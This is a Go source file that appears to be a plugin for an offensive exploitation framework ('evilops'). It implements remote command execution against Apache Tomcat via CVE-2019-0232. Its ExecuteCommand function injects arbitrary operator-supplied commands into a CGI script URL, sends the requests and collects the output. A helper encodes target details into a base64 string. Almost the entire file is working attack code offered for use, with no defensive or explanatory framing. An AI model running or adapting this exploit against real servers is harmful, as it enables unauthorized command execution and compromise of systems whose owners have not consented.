package drops

import (
	"context"
	"encoding/base64"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	logx "gitee.com/wudicaidou/menciis-logx"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"

	"gitee.com/wudicaidou/menciis-pocx/pocbase"
)

type TomcatCve20190232 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp TomcatCve20190232
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *TomcatCve20190232) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "5f6026a3-46ca-4f7a-a6b5-355a736d9b26",
		VulId:   "83c2bc3c-52e6-4012-9917-32312102d38e",
		Name:    "Tomcat_CVE_2019_0232",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *TomcatCve20190232) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	if len(expContext.CommandToExecute) == 0 {
		return nil, nil
	}

	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}

	req := reqAsset.Req
	var (
		resp     *http.Response
		respBody []byte
	)

	for _, cmd := range expContext.CommandToExecute {
		newUrl, err := url.Parse(req.GetUrl().String() + "/cgi-bin/hello.sh?" + url.PathEscape(cmd))
		if err != nil {
			return nil, err
		}

		req.RawRequest.URL = newUrl
		req.RawRequest.Method = http.MethodGet

		resp, err = expContext.HttpClient.HTTPClient.Do(req.RawRequest)
		if err != nil {
			logx.Error(err)
			return nil, err
		}

		respBody, err = ioutil.ReadAll(resp.Body)
		if err != nil {
			logx.Error(err)
			return nil, err
		}

		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    respBody,
		})
	}

	return
}

func (t *TomcatCve20190232) getAction(ip string, port string, vulUrl string, system string, guid string) string {
	//s.desc = strings.Replace(s.desc, " ", "", -1)
	cmds := []string{
		ip,
		port,
		t.Meta().Id,
		t.Meta().Name,
		//string([]byte(s.desc)),
		vulUrl,
		system,
		guid,
	}
	infoString := strings.Join(cmds, "|")
	res := base64.URLEncoding.EncodeToString([]byte(infoString))
	return res
}

func (t *TomcatCve20190232) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *TomcatCve20190232) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
